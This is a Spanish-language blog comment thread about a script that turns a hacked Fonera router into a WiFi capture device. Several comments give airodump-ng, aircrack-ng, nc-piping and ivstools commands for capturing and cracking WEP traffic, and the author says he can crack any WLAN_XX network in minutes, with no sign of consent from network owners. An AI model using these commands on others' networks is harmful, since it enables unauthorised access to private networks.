Desde que publicaste su script lo estoy usando y estoy muy contento. Lo que pasa que no inyecta paquetes seguro. La final lo vas a mejorar? Muchas gracias por todo.

Nitz dijo...

Descarga los paquetes de aquí:
http://ipkg.k1k2.de/index.php?dir=packages

Si algún día tengo tiempo lo arreglaré, de momento usa la consola :)

Saludos

luis dijo...

Hola, me gustaría hacerte un par de comentarios, en el articulo de hackear la fonera, la dns maravillosa está mal puesta (me costo que se actualizara la fonera entera), pero bueno se arregal con un boli.
Ah y lo demás es si se puede hacer que guarde los paquetes el airfonera en la sd, porque me estoy haciendo el mod, y creo que con la poca memoria que tiene libre poco se puede hackear.

Muchas gracias
un saludo
luismg@gmail.com

Nitz dijo...

¿Qué DNS?

Lo de usar una memoria sd... No lo he probado, pero si quieres almacenamiento puedes usar nfs, sshfs, el modulo cifs para montar samba... Usando tu PC como disco duro.

Hay mucha documentación sobre el tema.

luis dijo...

ah y otra cosa, en el mensaje en ncurses de donde se puede coger el resultado pone
http:///archivo
no sale la ip que esta usando el servidor web.

y otra cosa, no sabes donde puedo cambiar la ruta de almacenamiento?
digo porque si monton la sd, luego la puedo pinchar en el portatil o mandar el archivo por ftp o lo que sea. pero tengo que saber donde esta la linea que modifica la posicion de los paquetes carpturados.

thanks!

Teddy Cardini dijo...

Un par de ideas, aprovechando que estamos en Linux y podemos hacer (casi) todo lo que queramos...

Usar pipes para:

1. Mandar los datos directamente a otra maquina

# airodump-ng -c 11 - -bssid 00:01:02:03:04:05 -w - ath0|nc ip:puerto

Posteriormente (o mientras se reciben los datos) puede ejecutarse aircrack-ng en la otra máquina remota. No se usa espacio en la Fonera.

2. Comprimir los datos al vuelo, con lo que aprovechamos mucho más el escaso espacio de la Fonera:

# airodump-ng -c 11 - -bssid 00:01:02:03:04:05 -w - ath0|gzip -9 - >/tmp/fichero.ivs.gz

# zcat /tmp/fichero.ivs.gz | aircrack-ng -n 64 -

Si los programas no aceptan directamente datos desde stdin ("-") se pueden usar los pipes en fichero:

# mknod /tmp/tubo p

y enviar la información a través de ese pipe y, luego cogerla con los otros programas (nc, gzip, ...)

Gracias por el post y por los comentarios, son muy interesantes!

Nitz dijo...

Gracias a tí por ampliar el tema :)

luis dijo...

Hombre estaría bien que el script ya te dejara o editandolo poner la ruta de donde vas a meter el archivo, proque para caputurar a pelo no me he puesto el script :-)

mas que nada he comentado porque ponia necesito beta testers.
pues pa eso estamos para incordiar.

un saludo

luis dijo...

ah y otra cosa, hay alguna manera que con la fonera y openwrt pueda mirar (instalando lo que haga falta), la potencia de otras señales wifi?
es decir que me escanee y me muestre a tiempo real la potendia de las otras señales (es bastante importante que pueda hacer esto)

gracias

Nitz dijo...

iwlist scan | grep "ESSID\|Quality"

Jugando un poco con el bash puedes hacer lo que quieras.

También puedes instalar watch (no se si lo lleva de serie) y ejecutar:
watch iwlist scan | grep "ESSID\|Quality"

Lo que hace es mostrarte la salida del comando cada 2 segundos a "shell completa".

Si no quieres usar watch, puedes hacer un while:
while true; do clear && iwlist scan | grep "ESSID\|Quality" && sleep 1; done

luis dijo...

y algo aún más vistoso?
o más grafico?

luis dijo...

mira
while true; do clear && iwlist ath0 scan | grep "ESSID\|Quality" && sleep 2; done


es bastante mas claro

gracias por la ayuda!

pablobart dijo...

Hola Nitz!, el script genial, pero queria preguntar... queria modificar el script pero estoy empezando en el mundillo linux y no reconozco en que lenguaje está escrito, me resulta parecido a C pero usa estructuras diferentes a ver si me puedes decir en q lenguaje se escriben los scripts para linux y ya me documento. Saludosss y gracias!

Nitz dijo...

bash script

nicolás dijo...

Hola Nitz: (yo ya te había consultado en otro post, para instalar el OpenWRT en la fonera, lo que resulto un éxito dos veces)... Te quiero preguntar (y se que no es precisamente lo que se esta discutiendo, pero es por lo que llegue hasta aquí).
Tengo dos foneras, ya con Kamkaze. Una de ellas en modo Master (AP??) tal y como arranca luego del flasheo; pero la otra me gustaría que trabaje como cliente (que se conecta como cliente al AP (fonera 1) y gestione la salida a internet por ethernet)... No logro nada muy claro al respecto, me imaginaba que era muy simple (crear la interfaz en modo cliente, algunas reglas de ip-tables y ya...) Me sugeris algo???
Ya de máxima total: se puede habilitar dos redes inalambricas (como viene con FON) que una sea Master y la otra cliente???
(PD: ¿intalar webif, ayudara???)
Nitz: muchas gracias.-
Nicolás

Nitz dijo...

Recomiendo usar bridge-utils (véase google sobre cómo usarlo)

Vorlander dijo...

Yo he modificado el script para que me deje los datos en una unidad NFS y así no preocuparme del espacio.

no obstante estaria bien que Nitz nos obsequiara con la nueva version que prometió ;-P

Vorlander dijo...

Yo eh modificado el script para que me utilice una unidad NFS y no preocuparme por el espacio.
No obstante ando con gnas de que Nitz publique el script modificado tal y como prometió :-P

Toni dijo...

Hola Nitz,

ayer instalé openwrt+aircrack más tu script. Va de maravilla!!!

Un comentario: que te parece la idea que la fonera envie los paquetes capturados a un pc externo? lo digo por no ocupar memoria de la fonera al guardar los paquetes. Además /tmp/www queda reescrito en cada reboot de la fonera (cortes de luz en pleno s.XXI), con lo cual no podria acumular los paquetes captados (eso ya lo he arreglado cambiando el directorio a /www, pero no soluciona el tema de espacio en la fonera).

Muchas grácias

Nitz dijo...

Puedes montar una unidad por red en la fonera. En tu PC compartes una carpeta y la montas en la fonera.

Mira esto: http://karman.homelinux.net/blog/archives/21

elsamu dijo...

Una pregunta a los que habeis estado cacharreando... cuantos paquetes captura vuestra fonera hasta que recibe el primer ARP request??

No lo entiendo.. he llegado a 40000 paquetes y nada de nada... he probado con el test que lleva el propio aireplay y teoricamente la inyeccion funciona bien, incluso he visto videos demo de la fonera con el firmware legend y con unos pocos miles de paquetes ya se capturan ARP requests... claro que esto depende de la propia red. ¿Hay alguna manera de forzarlos?

saludos!

fullspam dijo...

una consulta después de tanto tiempo de inactividad...
...el script me tira la conexión wifi. Intento hacer un up de una virtual pero no hay manera.

¿Alguna idea de como poder hacer una conexión wifi -estoy buscando el script para crearla y añadirla al final del script- paralela para poder gestionarlo sin cables?

Mario dijo...

Hola Nitz, ha pasado mucho tiempo. Decirte que mil gracias por tu aplicación. Me surge un problema, hay alguna manera que si se desconecta la fonera(se va la luz) los paquetes capturados pudieran valer y al reiniciar la fonera no borrara los paquetes capturados y al volver a capturar el mismo "wifi" los acumulara al mismo archivo "ivs".
O más simple, alguna manera que yo pudiera juntar dos archivos "ivs" de la misma "wifi". Esto ultimo no se si podra hacer.

Nitz dijo...

Con las ivstools puedes hacerlo:

ivstools --merge captura1.ivs captura2.ivs captura3.ivs archivofinal.ivs

Mario dijo...

Muchas gracias Nitz por tu rápida contestacion. Espero inpaciente a tu script definitivo.

Nitz dijo...

Sinceramente, no creo que llegue a hacer ninguna versión final :(

Una de las razones de mayor peso es que hoy en día casi cualquier tarjeta wifi puede crackear redes sin problema (otra cosa sería ya inyectar). Desde mi PC, por ejemplo, en 2 minutos tengo cualquier red WLAN_XX sin problemas.

Otra de las razones es la falta de tiempo (entre los estudios, el curro y otros proyectos personales...).

Espero no haberte defraudado :P

Mario dijo...

Hola Nitz, perdona por ser pesado. Tengo el siguiente problema, estoy capturando paquetes y éstos me superan 700.000 y la fonera me "peta" porque no entran más. Los voy copiando al ordenata cada día pero no hay alguna forma que los que ya ha capturado borrarlos y que la fonera sigua creando paquetes sin que la fonera llege al limite de su espacio.